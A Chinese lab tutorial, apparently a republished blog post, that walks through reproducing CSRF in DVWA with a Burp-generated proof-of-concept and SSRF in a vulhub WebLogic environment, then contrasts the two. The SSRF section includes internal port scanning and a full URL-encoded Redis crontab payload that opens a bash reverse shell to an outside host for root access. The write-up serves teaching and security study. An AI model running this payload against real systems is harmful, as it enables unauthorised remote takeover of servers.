CSRF和SSRF有什么不同?

文章目录

  • CSRF复现
  • SSRF复现
    • 启动环境
    • 漏洞复现
      • 探测存活IP和端口服务
      • 计划任务反弹shell
  • 区别

CSRF复现

打开dvwa,将难度调为low,点击CSRF,打开后发现有一个修改密码的输入框:
在这里插入图片描述

在这里修改密码,并用bp抓包,在http history查看数据包,点击engagement tools中的Generate CSRF Poc根据请求包生成一个CSRF攻击的网页:

在这里插入图片描述

在生成的代码中修改密码为12345,点击test in browser在浏览器中测试:

在这里插入图片描述

复制生成网页的URL:

在这里插入图片描述

然后在不关闭dvwa的情况下访问生成的恶意网站,点击按钮:

在这里插入图片描述

点击后跳回到dvwa的CSRF修改密码界面,此时密码已经被修改,退回到登录界面,输入原来的密码后发现登录失败:

在这里插入图片描述

SSRF复现

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器:

sudo docker-compose up -d

启动成功,如图:

在这里插入图片描述

打开bp,然后打开bp中的内置浏览器Browser,输入地址10.9.75.45:7001/uddiexplorer进入网页,等待初始化后跳转出网页:

在这里插入图片描述

漏洞复现

点击Search Public Registries,在页面点击search后用bp抓包:

在这里插入图片描述

抓到的数据包如下图,是一个post请求包:
在这里插入图片描述

将数据包发到repeater模块,发送后报错,检查错误信息,发现有一个URL,在数据包的底部发现operator包含该URL:

在这里插入图片描述

然后我们可以检查此处是否有SSRF漏洞,用dnslog生成一个网址:

在这里插入图片描述

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求,如果有,就存在SSRF漏洞:
在这里插入图片描述

发送后到网站点击Refresh Record,查看是否有请求回显:

在这里插入图片描述

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息,发现80端口未开放,我们可以测试存活的可用IP,先到kali查看IP:

在这里插入图片描述

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活,如果返回错误信息证明存活,端口用已知的7001开放端口,即它本身的服务端口。

经测试,只有172.23.0.2为存活IP:

在这里插入图片描述

在存活IP的基础上测试开放端口80、8080、3306、445、6379,经测试发现只有6379(redis数据库)端口开放(其余端口回显相同的错误信息):

在这里插入图片描述

计划任务反弹shell

由于web服务未开放、ssh未开放,利用redis未授权访问漏洞只能写计划任务做反弹shell,写一个每时每分每天每月每周的计划任务,IP写kali的地址,端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

由于redis数据库的命令需要通过http协议提交,所以需要先进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

需要在url中提交,前面加上协议头,前后加上两次换行符:

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt

kali监听21端口:
在这里插入图片描述

在bp中修改字段点击发送,将计划任务发送到redis数据库中:
在这里插入图片描述

反弹shell成功,获取到root权限:

在这里插入图片描述

区别

SSRF和CSRF都是伪造攻击,前者伪造服务器的请求,后者伪造用户的请求,来达成攻击者想要达成的目的。

CSRF可以用一个恶意网站诱导用户发送跨站请求,来执行更改用户的密码或转移资金的操作。

SSRF是攻击者向服务器提交一个URL地址,服务器根据URL地址发送HTTP请求,伪造服务器请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/81749.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++实现观察者模式(包含源码)

文章目录 观察者模式一、基本概念二、实现方式三、角色四、过程五、结构图六、构建思路七、完整代码 观察者模式 一、基本概念 观察者模式(又被称为模型(Model)-视图(View)模式)是软件设计模式的一种。在…

开启编程之门

自我介绍 目前已经大二了,计算机专业在读,是一个热爱编程,做事踏实专注的人。转眼间一年已经过去了,也接触编程一年了,但开始并没有对所学所想进行很好的总结和输出,这一年也有了新的很多感悟与心得&#x…

浅谈双十一背后的支付宝LDC架构和其CAP分析

本人汤波,superthem.com 圆领超级个体创始人,Github page地址:https://tbwork.github.io/ 看到很多人在盗用我的文章,还标记成原创,进行收费,非常令人作呕。 我的所有技术文章全部免费阅读,大家…

PCB走线规则

1、线间距。 这里应该遵循3W规则,所谓3W就是为了减少线间串扰,应保证线间距足够大,当线中心不少于3倍线宽,则可 保持70%的电场不互相干扰。如要达到98%的电场不互相干扰,可使用10W的间距。——这是查阅华为PCB布线规则…

npm 清缓存(重新安装node-modules)

安装node依赖包的会出现失败的情况,如下图所示: 此时 提示有些依赖树有冲突,根据提示 “ this command with --force or --legacy-peer-deps” 执行命令即可。 具体步骤如下: 1、先删除本地node-modules包 2、删掉page-loacl…

面试算法1:整数除法

题目 输入2个int型整数,它们进行除法计算并返回商,要求不得使用乘号’*‘、除号’/‘及求余符号’%。当发生溢出时,返回最大的整数值。假设除数不为0。例如,输入15和2,输出15/2的结果,即7。 分析 下面以…

el-upload 上传附件(拆解步骤)

目录 1. 看elementui /element-plus 官网案例 2. html部分: 把官网上的搬下来,最好加一个按钮,上传到服务器(后端) 3. js 部分: 3.1 首先,先定义一个变量,files 3.2 当上传图片…

自定义映射resultMap

8.2、多对一映射处理 场景模拟&#xff1a; 查询员工信息以及员工所对应的部门信息 8.2.1、级联方式处理映射关系&#xff08;这种方式&#xff0c;不推荐使用&#xff09; <resultMap id"empDeptMap" type"Emp"> <id column"eid" pro…

128. 最长连续序列

https://leetcode.cn/problems/longest-consecutive-sequence/description/?envTypestudy-plan-v2&envIdtop-100-liked 前置知识 使用集合来实现存储。 unordered_set<int> s; for (int i 0; i < nums.size(); i ){s.insert(nums[i]); }判断是否在集合中存在…

机器学习(11)---降维PCA

目录 一、概述1.1 维度1.2 sklearn中的降维算法 二、降维实现原理2.1 PCA与SVD2.2 降维实现2.3 降维过程 三、鸢尾花数据集降维3.1 高维数据的可视化3.2 探索降维后的数据3.3 累积可解释方差贡献率曲线 四、选n_components参数方法4.1 最大似然估计自选超参数4.2 按信息量占比选…

WavJourney:进入音频故事情节生成世界的旅程

推荐&#xff1a;使用 NSDT场景编辑器快速搭建3D应用场景 若要正确查看音频生成的强大功能&#xff0c;请考虑以下方案。我们只需要提供一个简单的指令&#xff0c;描述场景和场景设置&#xff0c;模型就会生成一个扣人心弦的音频脚本&#xff0c;突出与原始指令的最高上下文相…

数组和指针笔试题解析之【数组】

目录 前言&#xff1a; 1.一维数组&#xff1a; 2.字符数组 &#xff1a; 2.1题型一&#xff1a; 2.2题型二&#xff1a; 2.3题型三&#xff1a; 3.二维数组 &#xff1a; 前言&#xff1a; 1.数组名的意义&#xff1a; sizeof(数组名)&#xff1a;这里的数组名表示整…

【C++STL基础入门】list的运算符重载和关于list的算法

文章目录 前言一、list运算符1.1 逻辑运算符1.2 赋值运算符 二、list相关算法2.1 查找函数总结 前言 C标准模板库&#xff08;STL&#xff09;是一组强大而灵活的工具&#xff0c;用于处理数据结构和算法。其中&#xff0c;std::list是STL中的一个重要容器&#xff0c;它实现了…

小型网络实验组网

路漫漫其修远兮&#xff0c;吾将上下而求索 时隔多日&#xff0c;没有更新&#xff0c;今日一写&#xff0c;倍感教育的乐趣。如果让我每天发无意义的文章&#xff0c;我宁可不发。 实验拓扑 实验要求 &#xff08;1&#xff09;内网主机采用DHCP分配IP地址 &#xff08;2&…

4.1.9-映射应用程序体系结构

映射应用程序体系结构 IDWSTG-INFO-10 总结 为了有效地测试应用程序&#xff0c;并能够就如何解决所识别的任何问题提供有意义的建议&#xff0c;了解实际测试的内容非常重要。此外&#xff0c;确定是否应将特定组件视为超出测试范围可能会有所帮助。 现代 Web 应用程序的复…

记录本地Nginx发布vue项目

一、前端&#xff1a;vue-cli-service build 二、下载Nginx&#xff0c;并创建目录&#xff0c;放置静态文件 三、在conf目录下nginx.conf文件配置代理服务 server {listen 8787;server_name localhost;location / {root app/dist; #前端dist包地址index index.html…

Java下部笔记

目录 一.双列集合 1.Map 2.Map的遍历方式 3.可变参数 4.Collection中的默认方法 5.不可变集合&#xff08;map不会&#xff09; 二.Stream流 1.获取stream流 2.中间方法 3.stream流的收集操作 4.方法引用 1.引用静态方法 2.引用成员方法 3.引用构造方法 4.使用类…

Docker Volume(存储卷)

文章目录 Docker Volume(存储卷)1.什么是存储卷&#xff1f;2.为什么需要存储卷&#xff1f;3. 存储卷的分类1) 管理卷Volume方式一&#xff1a;Volume命令操作方式二&#xff1a; -v 或者--mount 指定方式三&#xff1a; Dockerfile 匿名卷小结Docker 卷生命周期Docker 卷共享…

Tomcat架构设计及组件详解

继Tomcat配置详解&#xff08;Tomcat配置server.xml详解&#xff09;Tomcat配置详解&#xff08;Tomcat配置server.xml详解&#xff09;_tomcat xml配置https://blog.csdn.net/imwucx/article/details/132166738文章之后&#xff0c;深入的学习tomcat相关知识&#xff0c;对Tom…

基于SSM+Vue的“魅力”繁峙宣传网站

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用Vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…